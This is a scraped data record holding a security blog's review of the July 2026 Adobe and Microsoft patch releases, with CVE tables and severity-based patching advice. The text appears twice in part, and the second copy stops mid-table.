Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:03:14.810536Z"}, {"uuid": "a9d80d7e-ec75-464d-9264-720691539950", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54122", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft 